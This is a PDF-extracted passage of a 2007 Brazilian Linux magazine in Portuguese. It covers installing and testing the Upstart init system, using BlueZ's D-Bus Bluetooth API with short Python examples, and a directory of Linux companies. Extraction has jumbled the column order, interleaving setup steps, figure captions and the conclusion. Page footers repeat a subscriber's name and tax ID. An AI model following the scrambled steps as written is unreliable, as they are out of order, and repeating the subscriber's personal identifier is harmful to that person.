Usando um servidor simples como exemplo, vejamos os passos envolvidos na criação de um script personalizado para o Upstart. O servidor não precisa fazer nada além de continuar em funcionamento. A seguinte seção se baseia em um comando de duas linhas, em /usr/ local/bin/simpleserver.sh: #/bin/sh while true ; do sleep 1 ; done

Vamos chamar o script de eventos para esse serviço de /etc/event.d/simple-server. Se quisermos suportar apenas a execução manual do serviço, só precisaremos de uma única linha no script de eventos para iniciar o servidor: exec /usr/local/bin/simpleserver.sh.sh

Quadro 3: Suse Linux Enquanto o Sys V Init tradicional segue uma abordagem estritamente linear, versões mais recentes do Suse Linux (10.0 e posteriores) suportam a paralelização de chamadas de scripts de inicialização. Os administradores podem ativar esse recurso no arquivo /etc/sysconfig/boot, especificando o valor yes na variável RUN_PARALLEL. Isso modifica a seqüência legada definida por S00script1 a S99script25. Em vez disso, as dependências de .depend.boot, .depend.start e .depend.stop são aplicadas. Se o administrador acrescentar um script simples, digamos, S12nbd-server, a rc3.d, criando um link da forma tradicional, o sistema vai simplesmente ignorar a modificação. O comando insserv cuida dessa tarefa avaliando o cabeçalho do arquivo para garantir a resolução correta das dependências: ### BEGIN INIT INFO Provides: nbd-server Required-Start: $network Should-Start: $syslog Required-Stop: Default-Start: 3 5 Default-Stop: 0 1 2 6 Description: Start Network Blockdevice Daemon ### END INIT INFO Isso esconde do usuário boa parte da complexidade. Porém, não oferece grandes avanços em relação à velocidade. Quando testamos a inicialização no estilo do Suse em nossa máquina de testes – a qual sabemos que possui um disco rígido deveras lento – a inicialização paralela levou pouco mais de um minuto, o que está bem próximo do valor de 70 segundos da forma legada. É possível, no entanto, ver algumas pistas do início paralelo dos serviços: a saída na tela fica misturada.

Exemplo 3: Inicialização com Upstart 01 02 03 04 05 06

[...] Dec 3 Dec 3 Dec 3 Dec 3 Dec 3

18:44:59 18:44:59 18:44:59 18:44:59 18:44:59

rc2: rc2: rc2: rc2: rc2:

* * * * *

Starting deferred execution scheduler atd... Starting periodic command scheduler... Enabling additional executable binary formats... Checking battery state... Running local boot scripts (/etc/rc.local)

Para iniciar e parar os serviços, incluindo o que acabamos de definir, ainda precisaremos dos comandos start e stop, além de um novo, chamado status. Um simples start simple-server traz o serviço à vida. Para verificar se o comando funcionou, use initctl list ou status simple-server. Um stop simple-server terminará o serviço (exemplo 2). Se tudo estiver funcionando, a maioria dos usuários não terá interesse em ver as mensagens do sistema. Contudo, informações dos registros podem ser úteis, especialmente se tivermos acabado de modificar o sistema. Se você preferir não emitir qualquer mensagem durante a inicialização, ainda será possível verificá-las depois, obviamente. De uma forma geral, a saída do script do Upstart é passada para o logd incluído no pacote, e o daemon os deixa em /var/log/boot (exemplo 3). O comando initctl list fornece outra forma de saída de depuração (figura 3).

[ [ [ [ [

ok ok ok ok ok

] ] ] ] ]

Upstart no Debian

Como o Ubuntu se baseia no Debian, a probabilidade de se conseguir acelerar o Debian, graças às modificações do Ubuntu, são bem altas. Se você estiver preparado para aceitar o risco, é possível optar entre substituir completamente o Sys V Init já existente e usar o Upstart em paralelo com ele. Os passos para implementar o plano A (usar o Upstart em total substituição ao sistema legado) no Debian Unstable são bem simples – os desenvolvedores da distribuição já terminaram os preparativos separando as sysvinit-utilis do pacote sysvinit. Isso significa que é fácil substituir o pacote sysvinit pelo Upstart, e então simplesmente manter os scripts antigos. Existe um pacote para o Upstart no repositório Experimental [2] do Debian. Para usá-lo, acrescente a seguinte entrada ao arquivo /etc/apt/sources.list: deb http://ftp.de.debian.org/debian/ ➥experimental main

72

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Upstart | SYSADMIN

Exemplo 4: Configuração do Grub 01 02 03 04 05 06 07 08

# /boot/grub/menu.lst [...] title Ubuntu, kernel 2.6.17-10-generic root (hd0,0) kernel /boot/vmlinuz-2.6.17-10-generic root=/dev/hdb1 ro quiet splash init=/opt/upstart/sbin/init initrd /boot/initrd.img-2.6.17-10-generic boot [...]

Em seguida, remova o pacote legado sysvinit e instale no lugar os equivalentes do Upstart:

./ configure --prefix=/usr --exec-prefix=/ ➥--sysconfdir=/etc make make install

apt-get install upstart upstart-compat-sysv

Após terminar esses passos, o sistema pedirá seus scripts de inicialização. Para começar, é necessário baixar o tarball example-jobs-2.tar.gz a partir do diretório /download/[1] e descompactá-lo em /etc/event.d/.

Como o sysvinit está marcado como required (obrigatório), o gerenciador de pacotes vai esperar até que o usuário digite Sim. A próxima dificuldade ocorrerá na atualização. O comando apt-get dist-upgrade irá remover os pacotes do Upstart recém-instalados e colocar no lugar o sysvinit. Se essa for sua intenção – restaurar o uso do Sys V Init – você pode simplesmente usar o comando aptget install sysvinit, que o resultado será o mesmo.

Mundos paralelos

Se você desejar evitar que um erro de instalação do Upstart estrague seu sistema Sys V Init, é possível instalar o Upstart lado a lado com o Sys V. Para isso, siga os mesmos passos requeridos para instalação do Upstart solitário, mas mantenha o pacote sysvinit e certifique-se de que o novo Init seja colocado em /opt/upstart:

Auto-administração

Se você decidir compilar o Upstart, será necessário remover manualmente o pacote sysvinit. Se isso não for feito, o make install irá sobrescrever os binários centrais, e o gerenciador de pacotes ignorará as mudanças, ou, pior ainda, passará a acreditar que seu sistema foi corrompido. Dito isso, é fácil compilar e instalar o Upstart a partir do código-fonte [1]:

Figura 4 Esta análise do Bootchart mostra um sistema Debian GNU/Linux iniciando com o procedimento init legado.

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SYSADMIN | Upstart

nifica que esse passo simplesmente começa mais cedo, antes de todos os outros processos críticos de inicialização terminarem. Seria injusto com o projeto Upstart ignorar sua promesa com base nos resultados atuais dos testes. É importante lembrar que o sucessor do init deverá ser executado em modo de compatibilidade até atingir um nível maior de progresso. Pode-se esperar grandes ganhos de velocidade assim que os scripts de inicialização individuais tenham sido adaptados para suportar o novo sistema. Portanto, o Ubuntu não tem a expectativa de grandes acelerações na inicialização até que o Edgy seja sucedido pelo Feisty Fawn.

Conclusão Figura 5 Re-executar o Sys

V Init com o Upstart não altera significativamente os resultados.

./configure --prefix=/opt/upstart -➥sysconfdir=/etc --enable-compat

Nesse cenário, será preciso modificar os scripts deixados em /etc/event.d. Para isso, simplesmente acrescente a seguinte linha após a linha script em rc-default e rcS-sulogin: export PATH=/opt/upstart/sbin:$PATH

Como o diretório do Upstart se localiza no início do caminho de busca, os scripts utilizarão o novo comando telinit. O sistema ainda será inicializado, por padrão, pelo Sys V Init, mas, após a inicialização, é possível mandar o kernel usar o sistema alternativo. A seguinte linha de comando do kernel fará o truque: init=/opt/upstart/sbin/init

Para testes simples, talvez seja melhor digitar os parâmetros no prompt do carregador de inicialização, mas é possível adicionar um menu de configuração do carregador, caso deseje (exemplo 4, linha 5).

Análise

O Bootchart [4] oferece aos administradores um ótimo método para comparar os dois sistemas de inicialização. A ferramenta registra a carga da CPU e do disco rígido ao longo do processo de inicialização, convertendo os resultados em

um belo gráfico. Para permitir que isso aconteça, é necessário instalar o pacote do Bootchart e acrescentar uma entrada à linha de comando do kernel. O bootchartd roda como um processo inicial, iniciando o próprio processo init. O exemplo 5 mostra a entrada necessária no Grub. Se você estiver rodando o Upstart junto com o Init legado, informe esse fato ao Bootchart com o seguinte comando acrescentado à linha do kernel: bootchart_init=/opt/upstart/sbin/init

Depois disso, o Bootchart passará a registrar todos os dados interessantes de processos a cada 0,2 segundos, guardando as informações em /var/log/bootchart.tgz uma vez que o processo de inicialização tenha sido completado. O comando bootchart -f png gera um gráfico PNG a partir dos dados, com SVG e EPS como opções adicionais. Se compararmos o gráfico de inicialização do Sys V, na figura 4, com o do Upstart, na figura 5, os resultados poderão ser enganosos. Em nossa máquina de testes, o Bootchart relatou que o Sys V Init levou 33 segundos, enquanto o Upstart precisou de apenas 23 segundos para iniciar o sistema por completo. Ao conferirmos esses resultados com um cronômetro, vimos que os ganhos efetivos foram de apenas dois segundos. O Bootchart pára o relógio assim que o KDM ou outro gerenciador de login é iniciado. O fato de o Upstart iniciar as tarefas em paralelo sig-

A época da inicialização em poucos segundos passou e as “cirurgias” executadas pelas distribuições para melhorar o desempenho provavelmente não solucionarão isso. O futuro parece bom para novos projetos como o Upstart. Mesmo que o Upstart não proporcione a mesma sensação de “ligue e use” que se tem em um console de jogos, ele certamente necessita de menos paciência do que o sistema legado. Obviamente é necessário um bom grau de conhecimentos administrativos para migrar uma máquina Linux em funcionamento, sem exigir uma reinstalação. Esperamos que o Upstart tenha como objetivo fazer mais do que simplesmente rejuvenescer o processo de inicialização: os desenvolvedores visam a construir um daemon central de serviços que assumirá as tarefas atualmente atribuídas a ferramentas diversas. Isso inclui executar eventos específicos em momentos determinados, ou seja, substituir também o cron e o at. Até lá, o Upstart ainda terá que demonstrar sua capacidade de organizar o processo de inicialização de uma forma sensata e, neste exato momento, ele caminha a passos largos nessa direção. ■

Mais Informações [1] Upstart do Ubuntu: http://upstart.ubuntu.com [2] Upstart no braço Experimental do Debian: http://packages.debian. org/experimental/admin/upstart [3] Upstart no blog de Scott James Remnant: http://www.netsplit. com/blog/articles/2006/08/26/ upstart-in-universe [4] Bootchart: http://www.bootchart.org/

74

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Bluetooth e as facilidades do D-Bus

PROGRAMAÇÃO

Programe sem fio Com o intuito de facilitar o desenvolvimento de aplicações, o BlueZ agora suporta o serviço D-Bus, e expõe interfaces simplificadas que abstraem muitos detalhes e restrições da tecnologia para os desenvolvedores de aplicações. por Claudio Takahasi, Ulisses Furquim e Eduardo Rocha

O

Bluetooth [1] é um padrão de comunicação sem fio de curto alcance (tipicamente dez metros). Ele surgiu com a promessa de eliminar cabos de interconexão de periféricos. Suas principais características são robustez, baixo consumo de energia, baixa complexidade e baixo custo. O rádio opera na banda livre ISM de 2.4 GHz. O canal físico Bluetooth é representado por uma seqüência de saltos pseudo-aleatórios. Dois ou mais dispositivos sincronizados no mesmo canal formam uma piconet. Em cada piconet existe um dispositivo mestre e um ou mais escravos (até um máximo de sete). A seqüência de saltos é única e derivada do endereço Bluetooth do mestre, e a fase na seqüência de saltos é determinada pelo relógio do mestre. O escopo de utilização da tecnologia inclui a transferência de arquivos, contatos e agenda entre dispositivos, conexão com dispositivos de entrada e saída (mouse, teclado e impressoras), conexão de rede, entre outros.

BlueZ

BlueZ [2] é a pilha de protocolos Bluetooth oficial do Linux. Esse projeto foi originalmente desenvolvido pela empresa Qualcomm, e posteriormente tornando-se Software Livre. Basicamente, o BlueZ (figura 1) é composto por uma parte localizada no kernel e outra no espaço do usuário (bluez-utils). Essa última contém ferramentas de linha de comando para configurar o adaptador, procurar dispositivos e serviços próximos. O fato de ser uma implementação modular, flexível e com poucas dependências a torna altamente aceita pela comunidade. Os módulos do BlueZ fazem parte do kernel oficial do Linux desde a versão 2.4.6. No espaço do usuário, o hcid é o daemon principal, responsável por inicializar adaptadores, monitorar os eventos HCI (Host Controller Interface) e gerenciar o procedimento de pareamento. O HCI é a interface

de comandos disponibilizada para acessar as funcionalidades do hardware. Essa interface é acessível através de sockets Bluetooth específicos para essa finalidade. O pareamento é o procedimento de criação de uma chave criptográfica derivada de uma senha fornecida em ambos os lados da conexão, conhecida como passkey. Posteriormente, essa chave é utilizada em todas as conexões seguras entre os dois dispositivos. Desenvolver aplicações utilizando sockets Bluetooth pode ser um trabalho árduo. Apesar de ser um padrão bem definido, vale salientar que ainda há certos detalhes não cobertos pela especificação, os quais deixam margem para que os fabricantes implementem diferentes comportamentos. Exemplos disso são a permissão de comandos simultâneos e a serialização da solicitação de conexões. Não existia no BlueZ um modo centralizado e de fácil acessibilidade para se gerenciar adaptadores Bluetooth. O usuário era obrigado a recorrer às ferramentas distribuídas no pacote utils, como a hcitool, hciconfig e sdptool. Além do mais, algumas operações necessitam de permissão de administrador. Outro problema comum é gerenciar as limitações, pois algumas operações, como procura de dispositivos, resolução de nomes e solicitação de conexão, bloqueiam os recursos.

Serviço D-Bus BlueZ

Essencialmente, D-Bus [3] [4] é um sistema de comunicação entre processos (IPC), baseado na troca de mensagens através de um canal (ou barramento) de comunicação comum. O D-Bus suporta comunicação direta entre aplicativos, mas sua maior utilidade é a comunicação através dos canais compartilhados que atuam como roteadores de mensagens: ➧ barramento da sessão: aplicações rodando no mesmo contexto;

➧ barramento do sistema: comunicação das aplicações com camadas inferiores do sistema, incluindo kernel e daemons do sistema. O D-Bus define uma abstração conceitual de objetos; instâncias destes são representadas por seus caminhos. Cada objeto suporta uma ou mais interfaces, que representam um grupo de métodos (mensagens) relacionados. Toda a comunicação é baseada em mensagens que abstraem métodos, erros, respostas, sinais e argumentos. Um método é basicamente uma mensagem enviada, cujo retorno (se houver um) pode ser uma mensagem de erro ou de resposta. Notificações e respostas relevantes a outras aplicações são transmitidas como mensagens do tipo sinal, para que todas as aplicações interessadas as filtrem de forma adequada. O serviço BlueZ do D-Bus utiliza o barramento do sistema, pois o adaptador Bluetooth é um recurso compartilhado acessível a todas as aplicações e usuários ativos do sistema. O principal objetivo é prover uma camada de abstração para facilitar o desenvolvimento de aplicações que necessitem de conectividade Bluetooth. No entanto, leva-se em conta a premissa de manter a compatibilidade com as ferramentas e daemons existentes. Comandos HCI, erros e seqüências de operações são mapeadas em mensagens D-Bus, e abstraem do desenvolvedor as funções de envio, timeout, erros da Baseband e seqüências de comandos.

Figura 1 Componentes do BlueZ.

75

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


PROGRAMAÇÃO | BlueZ

Tabela 1: Interfaces BlueZ Interface

Função

@org.bluez.Manager@

Métodos para listar adaptadores disponíveis

org.buez.Adapter

Configuração do adaptador, procura de dispositivos/serviços e pairing

org.bluez.SDP

Procura de serviços

org.bluez.RFCOMM

Criação de portas seriais

org.bluez.Security

Registro de Passkey Agents

Figura 2 Visão geral.

Cada adaptador (objeto) é identificado por um caminho único do D-Bus, cujo formato é /org/bluez/hci{0,1,...}, possibilitando a manipulação simultânea de inúmeros adaptadores, além da notificação instantânea das aplicações sobre eventos ocorridos. Os serviços D-Bus foram implementados no daemon hcid, agora responsável também por traduzir as mensagens do D-Bus em comandos HCI, monitorar os eventos, serializar operações e verificar permissões. A figura 2 ilustra o fluxo das mensagens transmitas entre o daemon e os clientes. Os métodos foram agrupados por funcionalidades nas interfaces apresentadas na tabela 1. A conexão com o barramento do sistema é um aspecto-chave nessa arquitetura, pois é capaz de identificar se um cliente saiu abruptamente ou se o cliente possui as permissões necessárias para cancelar uma operação. Informações detalhadas sobre os métodos disponíveis em cada interface podem ser obtidas no arquivo dbus-api.txt, que pertence ao pacote bluez-utils: ➧ Interface Manager: Implementa os métodos necessários para obter os adaptadores Bluetooth disponíveis, e qual é o adaptador padrão utilizado pelo kernel. Os sinais emitidos por essa interface estão relacionados à detecção de novos adaptadores acrescentados ou removidos. ➧ Interface Adapter: Essa é a interface mais complexa, que implementa métodos para configurar o adaptador local, procurar dispositivos próximos,

Exemplo 1: Alterando a acessibilidade com adapter.py 01 #!/usr/bin/python 02 import dbus 03 bus = dbus.SystemBus(); 04 obj = bus.get_object(‘org.bluez’, ‘/org/bluez’) 05 obj = bus.get_object(‘org.bluez’, ‘/org/bluez/hci0’) 06 07 adapter = dbus.Interface(obj, ‘org.bluez.Adapter’) 08 09 adapter.SetMode(‘discoverable’) 10 11 # Altera o discoverable timeout para 15 segundos 12 adapter.SetDiscoverableTimeout(dbus.UInt32(15)) 13 print ‘Mode:%s Timeout:%d’ % (adapter.GetMode(), ➥adapter.GetDiscoverableTimeout())

solicitar o pareamento e procurar serviços. Configurações locais incluem a leitura de informações relacionadas ao fabricante, endereço MAC, versão do Bluetooth e nome do adaptador. A procura de dispositivos, conhecida como inquiry, caracteriza-se pela coleta de informações dos dispositivos próximos. No inquiry padrão, são coletados o endereço MAC e a classe do dispositivo, além da força do sinal. Essa procura também é um procedimento complexo. Primeiramente porque o inquiry é uma operação dita bloqueante, pois impede outros tipos de operação em concomitância a ela. Além disso, a resolução de nomes deve ser serializada, e não podem ser solicitados nomes enquanto houver um inquiry ativo. Foram exportados três métodos de procura: ➧ inquiry padrão com resolução de nomes; ➧ inquiry sem resolução de nomes; ➧ inquiry períodico com resolução de nomes. O GBlueZConf [5] (figura 3) é uma aplicação de exemplo desenvolvida com o propósito de realizar testes e servir como referência para desenvolvedores. Inquiry e resolução de nomes são procedimentos distintos. A duração padrão do inquiry é de 10,24 segundos. Nesse intervalo, respostas repetidas são comuns, pois o Bluetooth utiliza saltos de freqüências com multiplexação de tempo. Além disso, fatores externos e deslocamentos podem alterar a força do sinal. Cabe aos clientes ignorar sinais repetidos ou atualizar a força do sinal caso seja necessário. Após o térmimo do inquiry, o hcid inicia a resolução de nomes automaticamente, se for aplicável. Por ser um procedimento comum a todas as aplicações, as respostas coletadas pelo inquiry, assim como os nomes, são notificados através de sinais. A abordagem adotada foi resolver apenas os nomes que ainda não constem no cache, devido ao elevado tempo de conexão. Quando o dispositivo está no modo de inquiry periódico, além do sinal padrão de dispositivo remoto encontrado e nome, são

analisados também quais dispositivos saíram do alcance. No repositório CVS do BlueZ está disponível uma aplicação de exemplo chamada Bluetooth Proximity [6], que exemplifica a utilização dessa funcionalidade. Com o objetivo de aumentar a segurança e reduzir o consumo de energia, uma nova funcionalidade foi introduzida, possibilitando configurar e temporizar a acessibilidade do adaptador. ➧ off: page scan e inquiry scan desabilitados; ➧ connectable: page scan habilitado; ➧ discoverable: page scan e inquiry scan habilitados. Utilizando o método SetDiscoverableTimeout, é possivel configurar um adaptador para permanecer “visível” durante um intervalo de tempo desejado. No modo off, o adaptador não será visível e nem acessível, ou seja, não irá responder a inquiry, e outros dispositivos serão incapazes de estabelecer conexões com ele. O rádio não é desativado porque isso é uma funcionalidade específica de cada fabricante, e a economia de energia não é significativa. O modo connectable permite que dispositivos se conectem, desde que o endereço seja conhecido. O modo discoverable permite responder a solicitações de inquiry e conexões. O intervalo padrão é de 180 segundos; configurando-o para zero, o timeout será desabilitado. O exemplo 1 demonstra como deixar um adaptador no modo discoverable durante 15 segundos.

Figura 3 Procura de dispositivos.

76

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


BlueZ | PROGRAMAÇÃO

Exemplo 2: Procura de serviços com sdp.py 01 #!/usr/bin/python 02 import dbus 03 bus = dbus.SystemBus(); 04 obj = bus.get_object(‘org.bluez’, ‘/org/bluez’) 05 obj = bus.get_object(‘org.bluez’, ‘/org/bluez/hci0’) 06 07 adapter = dbus.Interface(obj, ‘org.bluez.Adapter’) 08 09 # Procura por serial port 10 handle = adapter.GetRemoteServiceHandles(“00:20:e0:78:78:74”, “spp”) 11 record = adapter.GetRemoteServiceRecord(“00:20:e0:78:78:74”, dbus. ➥UInt32(handle<sup><a href=”#fn0”>0</a></sup>)) 12 print “handle:%s record:%s” % (handle, record) 13 14 # Procura por object push utilizando UUID128 15 handle = adapter.GetRemoteServiceHandles(“00:20:e0:78:78:74”, “00001105-0000-1000➥8000-00805F9B34FB”) 16 record = adapter.GetRemoteServiceRecord(“00:20:e0:78:78:74”, dbus.UInt32(handle<sup><a ➥href=”#fn0”>0</a></sup>)) 17 print “handle:%s record:%s” % (handle, record)

A figura 4 ilustra a utilização de outros serviços dessa interface para obter e alterar informações do adaptador. Em relação aos métodos de procura de serviços, dois métodos são fornecidos: GetRemoteServiceHandles e GetRemoteServiceRecord. O primeiro retorna os handles dos registros de serviços que satisfazem um padrão de procura. Este é uma cadeia de caracteres que pode conter o nome do serviço, como spp (porta serial), fax, ftp, opp (object push) ou o UUID128 que representa o serviço. O segundo método retorna o registro do serviço em formato binário. O exemplo 2 demonstra a utilização da descoberta de serviços.

Interface SDP

O SDP (Service Discovery Protocol) é o protocolo utilizado para descobrir serviços disponíveis e suas características. Essa interface ainda está em fase experimental; para habilitá-la, o daemon hcid deve ser iniciado com o parâmetro -x. Os métodos de procura suportados são semelhantes aos da interface Adapter; porém, o foco é fornecer métodos que manipulam atributos dos registros de serviços. Registrar serviços ainda demanda requisitos mais claros. O sdpd é o daemon

responsável por responder a consultas de serviços. Integrar o registro de serviços significará unificar os daemons hcid e sdpd, ou então trabalhar com um socket local para a comunicação entre os daemons.

Interface RFCOMM

RFCOMM é um protocolo que permite emular comunicação serial Bluetooth sobre o protocolo L2CAP. No BlueZ, essa interface permite criar canais seriais para o espaço de usuário. Os métodos permitem conectar por nome de serviço ou por canal. Da mesma forma que com o método de procura, um UUID128 pode ser fornecido em vez do nome. Confira o exemplo 3 para uma demonstração da utilização desse protocolo.

org.bluez.Security

Sem dúvida, a interface org.bluez.Security foi a que causou mais discussões na comunidade – o antigo método de autenticação pelo uso de um pin helper foi removido e o conceito de passkey agent foi introduzido. A principal característica da interface é a flexibilidade, permitindo que aplicações registrem inúmeros passkey agents. É possível registrar um passkey agent de propósito geral ou para um dispositivo remoto

Exemplo 3: Conexão serial através do rfcomm.py 01 02 03 04 05 06 07 08 09

#!/usr/bin/python import dbus bus = dbus.SystemBus(); obj = bus.get_object(‘org.bluez’, ‘/org/bluez’) obj = bus.get_object(‘org.bluez’, ‘/org/bluez/hci0’) rfcomm = dbus.Interface(obj, ‘org.bluez.RFCOMM’) # Cria um canal serial: /dev/rfcommX print rfcomm.Connect(“08:00:37:1B:06:FD”, “spp”)

Figura 4 Configuração do adaptador.

específico. O bluez-gnome [6], disponível no site do BlueZ, foi o passkey agent padrão disponibilizado para fins instrutivos. É provável que as distribuções disponibilizem em breve implementações mais robustas ou adequadas a suas necessidades.

Conclusão

O BlueZ D-Bus tornou os serviços Bluetooth muito mais transparentes. Atualmente, inúmeras linguagens de programação (C, C++, Python, Mono, Perl e Java) possuem módulos para interação com o D-Bus, tornando as aplicações totalmente independentes da biblioteca bluez-libs. A abstração de comandos HCI e a eliminação da necessidade de privilégios de administrador são, sem dúvida, os maiores méritos dessa interface. ■

Mais Informações [1] Bluetooth SIG: http://www.bluetooth.org [2] BlueZ: http://www.bluez.org [3] Tráfego inteligente – Comunicação entre processos com DBus e HAL: Linux Magazine 21, julho de 2006, pg. 40.

[4] D-Bus: http://www.freedesktop. org/wiki/Software/dbus [5] Gnome Bluetooth Manager: http://live.gnome.org/ BluetoothManager [6] API Examples:http://www. indt.org.br/cktakahasi/ bluez-api/example.html [7] BlueZ Gnome: http://bluez.cvs. sourceforge.net/bluez/gnome/ [8] KDE Bluetooth: http://kdebluetooth.sourceforge.net/

Os autores Claudio Takahasi, Ulisses Furquim e Eduardo Rocha são pesquisadores do INdT (Instituto Nokia de Tecnologia) e contribuidores do projeto BlueZ.

77

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Linux.local

SERVIÇOS

O maior diretório de empresas que oferecem produtos, soluções e serviços em Linux e Software Livre, organizado por Estado. Sentiu falta do nome de sua empresa aqui? Entre em contato com a gente: 11 2161-5400 ou anuncios@linuxmagazine.com.br

Fornecedor de Hardware = 1 Redes e Telefonia / PBX = 2 Integrador de Soluções = 3 Literatura / Editora = 4 Fornecedor de Software = 5 Consultoria / Treinamento = 6

Empresa

Cidade

Endereço

Telefone

Web

85 3252-3836

www.f13.com.br

1 2 3 4 5 6

Ceará F13 Tecnologia

Fortaleza

Rua Coronel Solon, 480 – Bairro de Fátima Fortaleza - CE - CEP 60040-270

Linux Shopp

Vila Velha

Rua São Simão (Correspondência), 18 – CEP: 29113-120

27 3082-0932

www.linuxshopp.com.br

Megawork Consultoria e Sistemas

Vitória

Rua Chapot Presvot, 389 – Praia do Canto – CEP: 29055-410 sl 201, 202

27 3315-2370

www.megawork.com.br

✔ ✔

Spirit Linux

Vitória

Rua Marins Alvarino, 150 – CEP: 29047-660

27 3227-5543

www.spiritlinux.com.br

✔ ✔

✔ ✔

✔ ✔

Espírito Santo ✔ ✔

✔ ✔

Minas Gerais Instituto Online

Belo Horizonte

Av. Bias Fortes, 932, Sala 204 – CEP: 30170-011

31 3224-7920

www.institutoonline.com.br

Linux Place

Belo Horizonte

Rua do Ouro, 136, Sala 301 – Serra – CEP: 30220-000

31 3284-0575

corporate.linuxplace.com.br

Microhard

Belo Horizonte

Rua República da Argentina, 520 – Sion – CEP: 30315-490

31 3281-5522

TurboSite

Belo Horizonte

Rua Paraíba, 966, Sala 303 – Savassi – CEP: 30130-141

0800 702-9004

✔ ✔

✔ ✔

www.microhard.com.br

✔ ✔ ✔

✔ ✔

www.turbosite.com.br

✔ ✔

Paraná iSolve

Curitiba

Av. Cândido de Abreu, 526, Cj. 1206B – CEP: 80530-000

41 252-2977

www.isolve.com.br

Mandriva Conectiva

Curitiba

Rua Tocantins, 89 – Cristo Rei – CEP: 80050-430

41 3360-2600

www.mandriva.com.br

NSI Training

Rio de Janeiro

Rua Araújo Porto Alegre, 71, 4ºandar Centro – CEP: 20030-012 21 2220-7055

www.nsi.com.br

Open IT

Rio de Janeiro

Rua do Mercado, 34, Sl, 402 – Centro – CEP: 20010-120

21 2508-9103

www.openit.com.br

Unipi Tecnologias

Campos dos Goytacazes

Av. Alberto Torres, 303, 1ºandar - Centro – CEP 28035-581

22 2725-1041

www.unipi.com.br

✔ ✔ ✔ ✔

Solis

Lajeado

Rua Comandante Wagner, 12 – São Cristóvão – CEP: 95900-000

51 3714-6653

www.solis.coop.br

✔ ✔ ✔ ✔ ✔

DualCon

Novo Hamburgo

Rua Joaquim Pedro Soares, 1099, Sl. 305 – Centro

51 3593-5437

www.dualcon.com.br

Datarecover

Porto Alegre

Av. Carlos Gomes, 403, Sala 908, Centro Comercial Atrium Center – Bela Vista – CEP: 90480-003

51 3018-1200

www.datarecover.com.br

LM2 Consulting

Porto Alegre

Rua Germano Petersen Junior, 101-Sl 202 – Higienópolis – CEP: 90540-140

51 3018-1007

www.lm2.com.br

Lnx-IT Informação e Tecnologia Porto Alegre

Av. Venâncio Aires, 1137 – Rio Branco – CEP: 90.040.193

51 3331-1446

www.lnx-it.inf.br

Plugin

Porto Alegre

Av. Júlio de Castilhos, 132, 11º andar Centro – CEP: 90030-130 51 4003-1001

www.plugin.com.br

TeHospedo

Porto Alegre

Rua dos Andradas, 1234/610 – Centro – CEP: 90020-008

51 3286-3799

www.tehospedo.com.br

✔ ✔

Redix

Blumenau

Rua 02 de Setembro, 733, sl 08. CEP 89052-000

47 3323-7313

www.redix.com.br

✔ ✔

✔ ✔ ✔ ✔

Rio de Janeiro

Rio Grande do Sul

✔ ✔

✔ ✔

✔ ✔

Santa Catarina ✔ ✔

✔ ✔

São Paulo Ws Host

Arthur Nogueira

Rua Jerere, 36 – Vista Alegre – CEP: 13280-000

19 3846-1137

www.wshost.com.br

DigiVoice

Barueri

Al. Juruá, 159, Térreo – Alphaville – CEP: 06455-010

11 4195-2557

www.digivoice.com.br

✔ ✔ ✔

✔ ✔

Dextra Sistemas

Campinas

Rua Antônio Paioli, 320 – Pq. das Universidades – CEP: 13086-045

19 3256-6722

www.dextra.com.br

✔ ✔

Insigne Free Software do Brasil Campinas

Av. Andrades Neves, 1579 – Castelo – CEP: 13070-001

19 3213-2100

www.insignesoftware.com

Microcamp

Campinas

Av. Thomaz Alves, 20 – Centro – CEP: 13010-160

19 3236-1915

www.microcamp.com.br

PC2 Consultoria em Software Livre

Carapicuiba

Rua Edeia, 500 - 06350-080

11 3213-6388

www.pc2consultoria.com

Savant Tecnologia

Diadema

Av. Senador Vitorino Freire, 465 – CEP: 09910-550

11 5034-4199

www.savant.com.br

✔ ✔ ✔

Epopéia Informática

Marília

Rua Goiás, 392 – Bairro Cascata – CEP 17509-140

14 3413-1137

www.epopeia.com.br

Redentor

Osasco

Rua Costante Piovan, 150 – Jd. Três Montanhas – CEP: 06263-270

11 2106-9392

www.redentor.ind.br

Go-Global

Santana de Parnaíba Av. Yojiro Takaoca, 4384, Ed. Shopping Service, Cj. 1013 – CEP: 06541-038

11 2173-4211

www.go-global.com.br

AW2NET

Santo André

Rua Edson Soares, 59 – CEP: 09760-350

11 4990-0065

www.aw2net.com.br

Async Open Source

São Carlos

Rua Orlando Damiano, 2212 – CEP 13560-450

16 3376-0125

www.async.com.br

Delix Internet

São José do Rio Preto

Rua Voluntário de São Paulo, 3066 9º – Centro – CEP: 15015-909

11 4062-9889

www.delixhosting.com.br

78

✔ ✔ ✔

✔ ✔ ✔

✔ ✔

✔ ✔ ✔ ✔

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Linux.local | SERVIÇOS

Empresa

Cidade

Endereço

Telefone

Web

1 2 3 4 5 6

São Paulo (continuação) 4Linux

São Paulo

Rua Teixeira da Silva, 660, 6º andar – CEP: 04002-031

11 2125-4747

www.4linux.com.br

A Casa do Linux

São Paulo

Al. Jaú, 490 – Jd. Paulista – CEP 01420-000

11 3549-5151

www.acasadolinux.com.br

✔ ✔

Accenture do Brasil Ltda.

São Paulo

Rua Alexandre Dumas, 2051 – Chácara Santo Antônio – CEP: 04717-004

11 5188-3000

www.accenture.com.br

✔ ✔

ACR Informática

São Paulo

Rua Lincoln de Albuquerque, 65 –Perdizes – CEP: 05004-010

11 3873-1515

www.acrinformatica.com.br

Agit Informática

São Paulo

Rua Major Quedinho, 111, 5º andar, Cj. 508 – Centro – CEP: 01050-030

11 3255-4945

www.agit.com.br

✔ ✔

Altbit - Informática Comércio e Serviços LTDA.

São Paulo

Av. Francisco Matarazzo, 229, Cj. 57 – Água Branca – CEP 05001-000

